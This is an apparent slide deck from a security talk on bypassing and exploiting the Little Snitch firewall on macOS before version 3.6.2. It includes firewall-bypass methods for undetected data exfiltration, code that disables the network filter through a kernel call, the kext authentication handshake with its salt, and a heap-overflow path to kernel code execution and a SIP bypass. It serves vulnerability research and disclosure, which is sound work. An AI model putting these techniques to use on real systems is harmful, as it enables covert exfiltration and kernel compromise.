I got 99 Problems, but Little Snitch ain’t one!
“leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”
Making Little Snitch Our B!tch

Outline

Understanding

Bypassing

Reversing

Owning

Note:

Little Snitch
Versions < 3.6.2

Apple OS X 10.11
UNDERSTANDING LITTLE SNITCH

...a brief overview
**Little Snitch**

the de-facto host firewall for macOS

---

*Little Snitch intercepts connection attempts, and lets you decide how to proceed.*

- www.obdev.at

They were finally caught while attempting to upload a screenshot to one of their own servers, according to the report. A piece of security software called Little Snitch — which regulates data sent out from a computer to the internet — was installed on one of the information security employees’ laptops, and it flagged the suspicious upload attempt, the report says. Little Snitch, while popular in the cybersecurity world, was not standard software for these employees, according to one person familiar with the matter.

---

in the news (red team vs. Palantir)
**Little Snitch Components**

- **the puzzle pieces**
- **LittleSnitch.kext**
  - network, process monitoring
  - 'authentication'
- **Little Snitch Daemon**
  - rules management
- **Little Snitch Configuration**
  - rules management
  - preferences
- **Little Snitch Agent**
  - UI alerts

**KnockKnock**

- **Kernel Extensions**: 5 installed modules, possibly kernel loaded
- **Launch Items**: 24 elements and agents loaded by launchd
- **Library Inserts**: 0 dylibs inserted via *DYLD_INSERT_LIBRARIES*
BYPASSING LITTLE SNITCH

undetected data exfil

IMHO; such bypasses aren’t bugs or 0days
Little Snitch Bypass 0x1
abusing system rules to talk to iCloud

Little Snitch's iCloud rule

un-deletable system rule: "anybody can talk to iCloud"

○ rly!?...yes!

iCloud
**Little Snitch Bypass 0x2**

abusing 'proc-level' trust

---

```
$ python dylibHijackScanner.py

GPG Keychain is vulnerable (weak/rpath'd dylib)
'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks'
```

dylib hijack 'injection'

---

"Using Process Infection to Bypass Windows Software Firewalls" - Phrack, '04

---

gpg keychain; allow all

---

undetected exfil/C&C
stop the network filter

//connect & authenticate to kext
// ->see later slides for details :)

//input
// ->set to 0x0 to disable
uint64_t input = 0x0;

//stop network filter
IOConnectCallScalarMethod(connectPort, 0xB, &input, 0x1, NULL, NULL);

'invisible' to UI

if( (0xB == method) && (0x0 == scalarInput) )
{
    //disable filter!
}

'LITTLE SNITCH BYPASS 0x3'

'ring-0'

'LITTLE SNITCH'

'RING-3'

'BYPASS'

'0x3'

'stop network filter'
REVERSING LITTLE SNITCH
poking on the kext's interface
**Little Snitch's Kext**

/Library/Extensions/LittleSnitch.kext

```
$ less LittleSnitch.kext/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?><plist version="1.0"><dict><key>CFBundleExecutable</key><string>LittleSnitch</string><key>CFBundleIdentifier</key><string>at.obdev.nke.LittleSnitch</string><key>CFBundlePackageType</key><string>KEXT</string><key>IOKitPersonalities</key><dict><key>ODLSNKE</key><dict><key>CFBundleIdentifier</key><string>at.obdev.nke.LittleSnitch</string><key>IOClass</key><string>at_obdev_LSNKE</string><key>IOMatchCategory</key><string>at_obdev_LSNKE</string><key>IOProviderClass</key><string>IOResources</string><key>IOResourceMatch</key><string>IOBSD</string></dict></dict><...></dict></plist>
```

kext's Info.plist file

```
LittleSnitch is validy signed (3rd-party)
```

signing info
I/O Kit

XNU's device driver env

implemented in C++

object-oriented

self-contained, runtime environment

i/o kit resources

- "Mac OS X and iOS Internals"
- "OS X and iOS Kernel Programming"
- "IOKit Fundamentals" (apple.com)

```
#include <IOKit/IOLib.h>
#define super IOService

OSDefineMetaClassAndStructors(com_osxkernel_driver_IOKitTest, IOService)

bool com_osxkernel_driver_IOKitTest::init(OSDictionary* dict)
{
    bool res = super::init(dict);
    IOLog("IOKitTest::init\n");
    return res;
}

IOService* com_osxkernel_driver_IOKitTest::probe(IOService* provider, SInt32* score)
{
    IOService *res = super::probe(provider, score);
    IOLog("IOKitTest::probe\n");
    return res;
}

bool com_osxkernel_driver_IOKitTest::start(IOService *provider)
{
    bool res = super::start(provider);
    IOLog("IOKitTest::start\n");
    return res;
}
...

$sudo kextload IOKitTest.kext
$ grep IOKitTest /var/log/system.log
users-Mac kernel[0]: IOKitTest::init
users-Mac kernel[0]: IOKitTest::probe
users-Mac kernel[0]: IOKitTest::start
```
"The user-space API though which a process communicates with a kernel driver is provided by a framework known as 'IOKit.framework'" - OS X and iOS Kernel Programming
I/O KIT
invoking driver methods

// check params, invoke method
super::externalMethod(..., dispatch, ...)

// look up method, invoke super
externalMethod(selector, ...)
  > dispatch = methods[selector]

selector
(method index)

method_0();
method_1();
method_2();
I/O Kit

ex; user 'client'

mach_port_t masterPort = 0;
io_service_t service = 0;

//get master port
IOMasterPort(MACH_PORT_NULL, &masterPort);

//get matching service
service = IOServiceGetMatchingService(masterPort, IOServiceMatching("com_osxkernel_driver_IOKitTest"));

io_connect_t driverConnection = 0;

//open connection
IOServiceOpen(service, mach_task_self(), 0, &driverConnection);

struct TimerValue {
    uint64_t time,
    uint64_t timebase;
};

struct TimerValue timerValue = { .time=500, .timebase=0 };

//make request to driver
IOConnectCallStructMethod(driverConnection, kTestUserClientDelayForTime,
timerValue, sizeof(TimerValue), NULL, 0);

kern_return_t IOConnectCallStructMethod(
mach_port_t connection,
uint32_t selector,
const void *inputStruct,
size_t inputStructCnt,
void *outputStruct,
size_t *outputStructCnt);

"OS X and iOS Kernel Programming" (chapter 5)
**Find/Connect to Little Snitch's KExt**

service: 'at_obdev_LSNKE'

```c
char-[m097e1b4e m44e2ed6c](void * self, void * _cmd)
{
    ...
    sub_10003579a(0x7789);
}

int sub_10003579a(int arg0)
{
    r15 = arg0;
    rbx = IOMasterPort(0x0, 0x0);
    r14 = IOServiceGetMatchingService(0x0, IOServiceNameMatching("at_obdev_LSNKE"));
    r15 = IOServiceOpen(r14, *mach_task_self_, r15, 0x10006ed58);
}
```

```
$ ./connect2LS
  got master port: 0xb03
  got matching service (at_obdev_LSNKE): 0xf03
  opened service (0x7789): 0x1003
```

**little snitch daemon (hopper decompilation)**

*connected!*

**custom 'connection' code**
Enumerating Available Interfaces

'reachable' kernel methods

class_externalMethod proc
push rbp
mov rbp, rsp
cmp esi, 16h
ja short callSuper
mov eax, esi
lea rax, [rax+rax*2]
lea rcx, IORegistryDescriptorC3::sMethods
lea rcx, [rcx+rax*8]
...
callSuper:
mov rax, cs:IOUserClient_vTable
pop rbp
jmp qword ptr [rax+860h]

ls' externalMethod()

IOUserClient.h

struct IOExternalMethodDispatch {
IOExternalMethodAction function;
uint32_t checkScalarInputCount;
uint32_t checkStructureInputSize;
uint32_t checkScalarOutputCount;
uint32_t checkStructureOutputSize;
};
Say Hello to Method 0x7

It haz bug!

IOExternalMethodDispatch
<0FFFFFFFA13ED8FAh, 0, 20h, 0, 0>

0XFFFFFF7F86FED8FA method_0x7 proc
...
mov rax, [rdi] ; this pointer, vTable
mov rax, [rax+988h] ; method
mov rsi, rdx
jmp rax

method 0x7 'call thru'

struct lsStruct {
    void* buffer
    size_t size;
    ...}

sub_FFFFFF7FA13E76F7(struct lsStruct* ls)
{
    if( (0 == ls->size) || (NULL == ls->buffer) )
        goto bail;
    kBuffer = OSMalloc(ls->size, tag);
    if(NULL != kBuffer)
        copyin(ls->buffer, kBuffer, ls->size);
}

mal locals/copy (pseudo-code)

mal locals/copy (IDA)
**Kernel Bug?**

*Size matters ;)*

---

**libkern/libkern/OSMalloc.h**

```c
void* OSMalloc(uint32_t size ...);
```

---

**osfmk/x86_64/copyio.c**

```c
int copyin(..., vm_size_t nbytes);
```

---

<table>
<thead>
<tr>
<th>Offset</th>
<th>15</th>
<th>...</th>
<th>8</th>
<th>7</th>
<th>6</th>
<th>5</th>
<th>4</th>
<th>3</th>
<th>2</th>
<th>1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Value</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>2</td>
</tr>
</tbody>
</table>

**64bit value:** 0x100000002

**32bit value:** 0x100000002

---

```c
struct lsStruct ls;
ls.buffer = <some user addr>;
ls.size   = 0x100000002;
```

---

//malloc & copy

```c
kBuffer = OSMalloc(0x00000002, tag);
if(NULL != kBuffer)
    copyin(ls->buffer, kBuffer, 0x100000002);
```

---

**vm_size_t is 64bits!**
OWNING LITTLE SNITCH exploitation?
**Issue 0x1**
gotta 'authenticate'

```c
method_0x7 proc

cmp byte ptr [rdi+0E9h], 0
jz short leave

; buggy code
```

```c
method_0x8 proc

MD5Update(var_90, r14 + 0xea, 0x10);
MD5Update(var_90, 0x8E6A3FA34C4F4B23, 0x10);
MD5Final(0x0FC5C35FAA776E256, var_90);
do{
    rdx = rcx;
    rcx = *(int8_t *)(rbp + rax + 0xffffffffffffff60);
    rcx = rcx ^ *(int8_t *)(rbx + rax);
    rcx = rcx & 0xff | rdx;
    rax = rax + 0x1;
} while(rax != 0x10);

if (rcx == 0x0)
    *(r14 + 0xe9) = 0x1;

flag -> 0x1 :)  
```

set 'auth' flag

---

connect to Little Snitch driver ('at_obdev_LSNKE')

invoke method 0x4
returns 0x10 'random' bytes

hash this data, with embedded salt (\x56\xe2\x76\xa7\xfa\x35\x5c\xfc
\x23\x4b\x4f\x4c\xa3\x3f\x6a\x8e)

invoke method 0x8 to with hash to authenticate

authenticated;
can (now) reach buggy code!
**ISSUE 0x2**

the bug isn't exploitable!?

```c
kBuffer = OSMalloc(0x00000002, tag);
copyin(ls->buffer, kBuffer, 0x100000002);
```

only two bytes are copied!?  

<table>
<thead>
<tr>
<th>heap buffer</th>
<th>rest of heap...</th>
</tr>
</thead>
<tbody>
<tr>
<td>[size: 2 bytes]</td>
<td>[untouched]</td>
</tr>
<tr>
<td>0x41</td>
<td>0x41</td>
</tr>
</tbody>
</table>

x86_64/locore.s

```
_bcopy(const void *, void *, vm_size_t);
/*
 * Copyin/out from user/kernel
 * rdi: source address
 * rsi: destination address
 * rdx: byte count
 */
Entry(_bcopy)
// TODO:
// think about 32 bit or 64 bit byte count
```  

```
movl %edx,%ecx
shrl $3,%ecx
```

32bit :(

```
xchgq %rdi, %rsi
movl %rdx,%rcx
shrl $3,%rcx
```

$EDX/$ECX byte count
(not $RDX/$RCX)

submit bug report to Apple (2013)

```
15729453 _bcopy is implemented incorrectly for x86_64 systems
OS X
Rank: 2 - Important
```

fixed! (OS X 10.11, 2015)
## Issue 0x3

### Controlling the Heap Copy

- **Problem**: Panicking due to an attempt to copy more than the allocated heap buffer size.

### Heap Buffer

- **Buffer Details**:
  - Size: 2 bytes
  - Contents: 0x41 0x41

### Heap Buffer Copy

- **Copyin Function**:
  ```c
  copyin(ls->buffer, kBuffer, ls->size);
  ```

### Recovery Section

- **Recovery Code**:
  ```c
  RECOVERY_SECTION
  RECOVER(_bcopy_fail)
  _bcopy_fail:
  movl $(EFAULT),%eax
  ret
  ```

### Fault Tolerance

- **Struct**: `lsStruct ls`
  ```c
  ls.buffer = 0x100FFC
  ls.size = 0x100000002;
  ```

### Diagram

- **Diagram Elements**:
  - Heap Buffer
  - Rest of Heap
  - Cuda Copy
  - Control Exact Bytes
  - Panic

### Summary

- The issue arises from trying to copy more bytes than the heap buffer can handle, leading to a panic.
- Proper fault tolerance and control over the exact number of bytes copied into the buffer is necessary to prevent such issues.
SUCCESS!
vTable hijacking ($RIP)

### heap buffer [size: 2 bytes]
- `0x41`  `0x41`

### C++ object [0xffffffff8029a27e00]
- `0x4141414141414141`

---

**controls:**

1. **allocation size**
2. **bytes copied**
3. **# of bytes copied**

---

```plaintext
(lldb) x/4g 0xffffffff8029a27e00
0xffffffff8029a27e00:  0x4141414141414141 0x4141414141414141
0xffffffff8029a27e10:  0x4141414141414141 0x4141414141414141

(lldb) reg read $rax
rax = 0x4141414141414141

(lldb) x/i $rip
-> 0xffffffff8020b99fb3: ff 50 20 callq *0x20(%rax)
```

control of $RIP :)
WEAPONIZING

reliably exploiting a macOS heap overflow

"Attacking the XNU Kernel in El Capitan" -luca todesco

"Hacking from iOS 8 to iOS 9" -team pangu

"Shooting the OS X El Capitan Kernel Like a Sniper" -liang chen/qidan he

controlling heap layout
bypassing kALSR
bypassing smap/smep
payloads (!SIP, etc)

SIP/code-sign 'bypass'

1. get root
2. 'bring' & load buggy kext
3. exploit & disable SIP
run unsigned kernel code, etc

(buggy) kext still validly signed!
CONCLUSIONS

wrapping it up
Vendor Response:

at least they fixed it...

- fixed the bug
- users won't patch
- downplayed the bug
- didn't assign a CVE
- no credit (I'm ok with that)

consistent size

maybe talking about my exploit!?
OBJECTIVE-SEE (.com)
free security tools & malware samples

"providing visibility to the core"

TaskExplorer
KnockKnock
BlockBlock
KextViewer
RansomWhere?
Ostiarius
"Is it crazy how saying sentences backwards creates backwards sentences saying how crazy it is?" -Have_One, reddit.com